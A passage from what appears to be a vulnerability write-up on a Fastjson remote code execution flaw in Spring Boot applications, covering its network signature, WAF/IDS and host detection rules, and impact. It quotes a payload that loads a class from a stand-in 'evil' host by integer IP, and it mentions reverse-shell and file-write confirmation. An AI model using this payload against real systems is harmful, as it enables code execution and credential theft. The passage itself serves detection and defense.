The wire signature of a successful exploit is a two-request pattern: an inbound POST carrying the JSON payload, and an outbound GET from the JVM process to the attacker’s HTTP server requesting the .class file. The captures above show the sequence: curl posts { “@type” : “jar : http:..3232235876:8080.evil!.Evil” } to a Spring Boot endpoint that calls JSON.parseObject() on the body, and a concurrent tcpdump on the target’s network interface shows the outbound GET / evil! /Evil . class HTTP /1.1 to 3232235876:8080 moments later. The attacker’s python3 -m http.server log confirms the fetch arrived, and — depending on the payload — a reverse-shell connect-back or a written /tmp/pwned file confirms Runtime.exec executed.

Note that the real captures behind this figure are illustrative — the FearsOff and WeChat PoCs are token-gated, and reproducing them faithfully requires either that access or a manually-adapted historical Fastjson PoC. The wire signature itself is stable across every PoC that has been publicly discussed: POST with “@type” : “jar : in the body, followed by outbound GET for a .class file.

8) Detection signatures

Wire-level detection at the WAF / IDS boundary:

  1. HTTP request bodies containing “@type”:”jar: — any variant (jar:http, jar:https, jar:ftp) should be blocked outright. Legitimate JSON never has “@type”:”jar:…”. This is the single highest-value WAF rule.
  2. HTTP request bodies where an “@type” value contains an integer-only “host” segment — long unbroken digit sequences followed by :port. Combine with the jar: prefix for high confidence.
  3. HTTP request bodies where the “@type” value contains .. (double-dot) — this is a strong signal for the integer-IP encoding trick regardless of prefix, and it is unusual enough in legitimate JSON that false positives are rare.
  4. Outbound HTTP GET from a JVM process to an unusual destination requesting a .jar or .class file. JVM egress to fetch class bytes from anywhere outside your build or artifact infrastructure is anomalous.

Host-level detection:

  • New JAR / .class files in the JVM’s temp cache from unexpected origins.
  • Runtime.exec() descendants of the JVM process — Sysmon Event ID 1 with a parent-image filter on java.exe / jre / OpenJDK.
  • Suspicious /tmp or %TEMP% file creations by the JVM within seconds of an inbound HTTP request.

There is a subtler two-step detection worth mentioning. The bug has two remote fetches — getResourceAsStream (the annotation check) and TypeUtils.loadClass (the actual load). If your egress monitor sees the first fetch but not the second, the annotation-parse-only phase happened and something in the flow decided not to load. This is a partial-exploitation signal — attacker probing for reachability without payload delivery — and it is worth alerting on as an early indicator of targeting.

Conclusion

Impact

Java and Spring Boot is one of the largest deployment platforms in enterprise software, and Fastjson is dominant across the Chinese cloud ecosystem while being widely used globally in Spring Boot applications that need high-performance JSON. Any Spring Boot application that (a) uses Fastjson 1.2.68 through 1.2.83, (b) has safeMode at its default disabled state, (c) accepts HTTP JSON bodies from any pre-authentication or authenticated user, and (d) uses LaunchedURLClassLoader (the Spring Boot default) is exploitable to full RCE as the JVM process user.

The blast radius is whatever the JVM process has access to: application databases via the connection pool, credentials in environment variables, adjacent services on the same host, network reachability inside the VPC that the application server sits in. On typical enterprise deployments that means database dump, credential harvest, lateral movement into any service the app server can reach on the internal network, and — if the Spring Boot app runs as a privileged user or on a shared host — potential host compromise beyond the app.

Because Alibaba has not released a patch, the population of vulnerable installs is essentially unchanged from the disclosure date. Every operator who has not enabled safeMode or deployed a WAF rule is still exposed on 2026-07-31, and will remain exposed on every day after until they act. The unusual thing about this CVE — compared to the WordPress wp2shell case earlier this month, which had forced auto-updates rolling out the fix — is that there is no vendor-side rollout that closes the population automatically. Every affected operator has to act.

References